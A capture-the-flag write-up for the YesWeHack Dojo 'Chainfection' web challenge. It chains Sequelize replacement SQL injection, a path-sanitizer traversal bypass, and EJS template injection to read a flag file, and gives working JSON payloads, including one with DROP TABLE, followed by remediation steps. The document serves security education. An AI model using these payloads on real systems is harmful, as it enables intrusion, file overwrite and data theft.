09-25: Chainfection
Writeup for Chainfection (Web) - YesWeHack Dojo (2025) 💜
Description
Upload your files, share them with the world, and enjoy unlimited safe cloud storage directly from your favorite browser. Free antivirus scans that runs on good vibes. What could possibly go wrong?
Solution
In this writeup, we'll review the latest YesWeHack Dojo challenge, created by Brumens 💜
Follow me on Twitter and LinkedIn (and everywhere else 🔪) for more hacking content! 🥰
Source code review
Starting with the setup code (nodejs), we see the flag is written to /tmp under a randomised filename. As usual, I snipped the index.html because it appears to be purely UI-related.
setup.js
const fs = require("node:fs");
const path = require("node:path");
const crypto = require("crypto");
const ejs = require("ejs");
const process = require("process");
const { Sequelize, DataTypes, Op, literal } = require_v("sequelize", "6.19.0");
const psanitize = require_v("path-sanitizer", "2.0.0");
process.chdir("/tmp");
fs.mkdirSync("view");
fs.mkdirSync("user/files", { recursive: true });
fs.writeFileSync(`flag_${crypto.randomBytes(16).toString("hex")}.txt`, flag);
fs.writeFileSync("user/files/document.txt", "test");
// create a sqlite database
const sequelize = new Sequelize({
dialect: "sqlite",
storage: ":memory:",
logging: false,
});
// define "users" table
const Users = sequelize.define("User", {
name: DataTypes.STRING,
verify: DataTypes.BOOLEAN,
attachment: DataTypes.STRING,
});
async function init() {
await sequelize.sync();
// insert users
await Users.create({
name: "brumens",
verify: true,
attachment: "document.txt",
});
await Users.create({
name: "leet",
verify: false,
attachment: "",
});
}
// Write the design
fs.writeFileSync(
"view/index.ejs",
`
<html>
SNIPPED
</html>
`.trim()
);
return { flag, secrets, fs, path, psanitize, sequelize, ejs, DataTypes, Op, Users, init };Initial thoughts:
SQL database -> SQL injection?
File attachment -> insecure file upload?
Path sanitizer -> directory traversal / LFI?
EJS -> SSTI?
Hardcoded library versions (
sequelize+path-sanitizer) -> known CVE(s)?
app.js
function getJsonInput(rawData) {
let jsonData;
// Parse incoming JSON string
try {
jsonData = JSON.parse(rawData); // [1]
} catch (err) {
throw new Error("Invalid JSON input: " + err.message);
}
// Required keys
const requiredKeys = ["username", "updatedat", "attachment", "content"];
// Validate presence of keys
for (const key of requiredKeys) {
if (!(key in jsonData)) {
// [2]
throw new Error(`Missing required key: ${key}`);
}
}
return jsonData;
}
async function main() {
await init();
var data = {};
var filename = "";
var error = "";
// Update the current user's attachment
try {
data = getJsonInput(decodeURIComponent("OUR_INPUT"));
await Users.update(
// [3]
{ attachment: data.attachment },
{
where: {
id: 2,
},
}
);
// Get user from database
const user = await Users.findOne({
// [4]
where: {
[Op.and]: [sequelize.literal(`strftime('%Y-%m-%d', updatedAt) >= :updatedat`), { name: data.username }, { verify: true }],
},
replacements: { updatedat: data.updatedat },
});
// Sanitize the attachment file path
const file = `/tmp/user/files/${psanitize(user.attachment)}`; // [5]
// Write the attachment content to the sanitized file path
fs.writeFileSync(file, data.content); // [6]
} catch (err) {
error = err;
} finally {
await sequelize.close();
}
// Render the view
console.log(ejs.render(fs.readFileSync("/tmp/view/index.ejs", "utf-8"), { filename: path.basename(filename), error: error }));
}
// Run the main program
main();We need to provide valid JSON input
The JSON object must contain four keys:
username,updatedat,attachment,contentThe "leet" user (id=2) will be updated with the new
attachmentA verified user is selected based on
usernameandupdatedatThe returned
user.attachmentis sanitised and used as a filenameThe
contentis written to the constructed filename
Testing functionality
The UI looks fancy and interactive but don't get distracted - it is entirely non-functional.
The only thing we need to worry about is submitting valid JSON with all the relevant keys, e.g.
{
"username": "brumens",
"updatedat": "420",
"attachment": "important",
"content": "meow"
}We get a new error about a null attachment.
TypeError: Cannot read properties of null (reading 'attachment')Let's change the updatedat value, since the SQL statement uses it in a >= condition.
{
"username": "brumens",
"updatedat": "1",
"attachment": "important",
"content": "meow"
}That clears the error, but we don't get any output. Recall that the returned attachment value is used as the filename and the "brumens" user attachment is set to "document.txt", containing "test".
We don't have any means to update that, since the SQL statement to update the attachment is hardcoded to the second user ID, belonging to "leet". Unfortunately, we also cannot change the username to "leet" because the user is unverified 😤
The SQL query will look something like this, where :updatedat is the raw user-supplied updatedat value (swapped in via replacements) and data.username is the user-supplied username.
SELECT * FROM users WHERE (strftime('%Y-%m-%d', updatedAt) >= :updatedat)
AND name = data.username
AND verify = 1
LIMIT 1;SQL Injection (CVE-2023-25813)
Checking the known vulnerabilities for sequelize 6.19.0, there's an advisory from 2023 titled "Sequelize vulnerable to SQL Injection via replacements" 👀
The example in the advisory is revealing. The statement replaces ":firstName" in the literal string with firstName:
User.findAll({
where: or(literal('soundex("firstName") = soundex(:firstName)'), { lastName: lastName }),
replacements: { firstName },
});They supply an SQL statement in the firstName field and then ":firstName" in the lastName field:
{
"firstName": "OR true; DROP TABLE users;",
"lastName": ":firstName"
}The result is that the replacements operation first swaps the ":firstName" with the SQL statement and then swaps the ":firstName" we provided in the last name with the same SQL statement, e.g. it starts as:
SELECT * FROM users WHERE soundex("firstName") = soundex(:firstName) OR "lastName" = ':firstName'Then after the replacement becomes:
SELECT * FROM users WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') OR "lastName" = ''OR true; DROP TABLE users;''Let's apply the same principle to our scenario.
{
"username": ":updatedat",
"updatedat": "SQLI_GOES_HERE",
"attachment": "document.txt",
"content": "meow"
}Sequelize will first generate this query:
SELECT * FROM users WHERE (strftime('%Y-%m-%d', updatedAt) >= :updatedat)
AND name = ":updatedat"
AND verify = 1
LIMIT 1;Then it injects the replacements:
SELECT * FROM users WHERE (strftime('%Y-%m-%d', updatedAt) >= "SQLI_GOES_HERE")
AND name = "SQLI_GOES_HERE"
AND verify = 1
LIMIT 1;That's not valid SQL syntax, so we trigger an error. Developers fear errors but hackers welcome them - progress! 🙏
Let's try again.
{
"username": ":updatedat",
"updatedat": "'' ) OR 1=1 -- ",
"attachment": "document.txt",
"content": "meow"
}After replacement:
SELECT * FROM users WHERE (strftime('%Y-%m-%d', updatedAt) >= '' ) OR 1=1 -- )
AND name = "'' ) OR 1=1 -- "
AND verify = 1
LIMIT 1;Everything after the comment is ignored, so the statement essentially becomes:
SELECT * FROM users WHERE (strftime('%Y-%m-%d', updatedAt) >= '' ) OR 1=1;If we submit that, we don't get an error. Let's try and change the condition:
{
"username": ":updatedat",
"updatedat": "'' ) OR 1=2 -- ",
"attachment": "document.txt",
"content": "meow"
}Now we get the error again! Just like that, SQLi confirmed ✅
We need to select the second user, so let's adjust the payload.
{
"username": ":updatedat",
"updatedat": "'' ) OR rowid=2 -- ",
"attachment": "/etc/passwd",
"content": "meow"
}The displayed error is promising - it's finally trying to open our specified file!
Error: ENOENT: no such file or directory, open '/tmp/user/files/etc/passwd'Directory Traversal (CVE-2024-56198)
If you thought about directory traversal, that's a good instinct. Unfortunately, any ../ we enter are stripped and URL-encoding doesn't work as a bypass.
That takes us back to the other library we intended to check for known vulns: path-sanitizer 2.0.0
It turns out versions 3.1.0 and below are vulnerable to directory traversal. The referenced PoC is down, we could check wayback/archives but why don't we instead check the git commit 🔎
There was already a test for URL-encoded slashes.
it("Protects reported vulnerability #1", () => {
expect(linuxSlash(join("/var/app-dir", sanitize("..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd")))).not.toBe("/etc/passwd");
});Here's the new test they added.
it("Protects reported vulnerability #2", () => {
expect(linuxSlash(join("/var/app", sanitize("./../../test/../../../../../../../../../../etc/passwd")))).not.toBe("/etc/passwd");
});Interesting 😕 it starts with ./ and traverses to a [presumably] non-existent directory, continues traversing backwards and then goes to the target /etc/passwd. I tried multiple variations of vuln #2 but didn't make any progress.
Out of interest, I try vuln #1 (..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5cetc/passwd) which should already be patched. We did hit a different error.
Error: EACCES: permission denied, open '/tmp/user/files/../../../../../../../etc/passwd'At this point I realised I was looking at the wrong advisory (and test case).
Where we are (2.0.0)
The
..=%5Cvulnerability is fixedThe
./../../test/../../../../../../../../../../etc/passwdvulnerability is fixed
Maybe vuln #2 was introduced after version 3.0.0? Regardless, vuln #1 works for us 😌
Server-side Template Injection (RCE)
Let's think about which file we might be able to overwrite for RCE. How about /tmp/view/index.ejs, since it's rendered as a template at the bottom of app.js?
console.log(ejs.render(fs.readFileSync("/tmp/view/index.ejs", "utf-8"), { filename: path.basename(filename), error: error }));We'll try a basic payload to read the contents of a file in the /tmp directory beginning with "flag_"
<% var fs=require('fs'); var f=fs.readdirSync('/tmp').find(x=>x.indexOf('flag_')===0); if(f){ print(fs.readFileSync('/tmp/'+f,'utf8')) } %>Put it all together.
{
"username": ":updatedat",
"updatedat": "'' ) OR rowid=2 -- ",
"attachment": "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c/tmp/view/index.ejs",
"content": "<% var fs=require('fs'); var f=fs.readdirSync('/tmp').find(x=>x.indexOf('flag_')===0); if(f){ print(fs.readFileSync('/tmp/'+f,'utf8')) } %>"
}The whole HTML response has been replaced with an error 👀
:10 ; var fs=require('fs'); var f=fs.readdirSync('/tmp').find(x=>x.indexOf('flag_')===0); if(f){ print(fs.readFileSync('/tmp/'+f,'utf8')) } ^ ReferenceError: ejs:1 >> 1| <% var fs=require('fs'); var f=fs.readdirSync('/tmp').find(x=>x.indexOf('flag_')===0); if(f){ print(fs.readFileSync('/tmp/'+f,'utf8')) } %> require is not defined at eval (eval at compile (/app/node_modules/ejs/lib/ejs.js:673:12), :10:15) at anonymous (/app/node_modules/ejs/lib/ejs.js:703:17) at exports.render (/app/node_modules/ejs/lib/ejs.js:425:37) at main (eval at (/app/runner.cjs:38:13), :74:19) { path: '' } Node.js v20.19.5The key part is "require is not defined at eval", lets try to access it from globalThis
{
"username": ":updatedat",
"updatedat": "'' ) OR rowid=2 -- ",
"attachment": "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c/tmp/view/index.ejs",
"content": "<% var fs = globalThis && globalThis.process && globalThis.process.mainModule && globalThis.process.mainModule.require && globalThis.process.mainModule.require('fs'); var f = fs.readdirSync('/tmp').find(function(x){ return x.indexOf('flag_')===0 }); if(f){ print(fs.readFileSync('/tmp/'+f,'utf8')) } %>"
}We get a new error that "print is not defined at eval".
:10 ; var fs = globalThis && globalThis.process && globalThis.process.mainModule && globalThis.process.mainModule.require && globalThis.process.mainModule.require('fs'); var f = fs.readdirSync('/tmp').find(function(x){ return x.indexOf('flag_')===0 }); if(f){ print(fs.readFileSync('/tmp/'+f,'utf8')) } ^ ReferenceError: ejs:1 >> 1| <% var fs = globalThis && globalThis.process && globalThis.process.mainModule && globalThis.process.mainModule.require && globalThis.process.mainModule.require('fs'); var f = fs.readdirSync('/tmp').find(function(x){ return x.indexOf('flag_')===0 }); if(f){ print(fs.readFileSync('/tmp/'+f,'utf8')) } %> print is not defined at eval (eval at compile (/app/node_modules/ejs/lib/ejs.js:673:12), :10:262) at anonymous (/app/node_modules/ejs/lib/ejs.js:703:17) at exports.render (/app/node_modules/ejs/lib/ejs.js:425:37) at main (eval at (/app/runner.cjs:38:13), :74:19) { path: '' } Node.js v20.19.5Let's adjust the payload to try a chain of ways to get a fs handle.
{
"username": ":updatedat",
"updatedat": "'' ) OR rowid=2 -- ",
"attachment": "..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c..=%5c/tmp/view/index.ejs",
"content": "<% var fs=null; try{ if(typeof module!=='undefined' && module.require) fs=module.require('fs'); else if(typeof process!=='undefined' && process.mainModule && process.mainModule.require) fs=process.mainModule.require('fs'); else if(typeof require!=='undefined') fs=require('fs'); else fs=(Function('return require')())('fs'); }catch(e){ fs=null; } var f = fs && fs.readdirSync('/tmp').find(function(x){return x.indexOf('flag_')===0}); %><%= f ? fs.readFileSync('/tmp/'+f,'utf8') : '' %>"
}It works! 😎
Flag: FLAG{Bug_C4ins_Br1ng5_Th3_B3st_Imp4ct}
Remediation
Upgrade sequelize to >= 6.19.1 to pick up the replacements fix
Upgrade path-sanitizer to >= 3.1.0 and add an explicit server-side allowlist for writable upload targets (never allow writes to template/view directories)
Keep uploads and templates strictly separate; never render uploaded files as templates
Enforce filesystem permissions: process should not be able to write into the template/view directory
Summary (TLDR)
The challenge combined two vulnerable libraries to create a vulnerability chain: SQL injection -> file write + path traversal -> SSTI (RCE) 😈
Last updated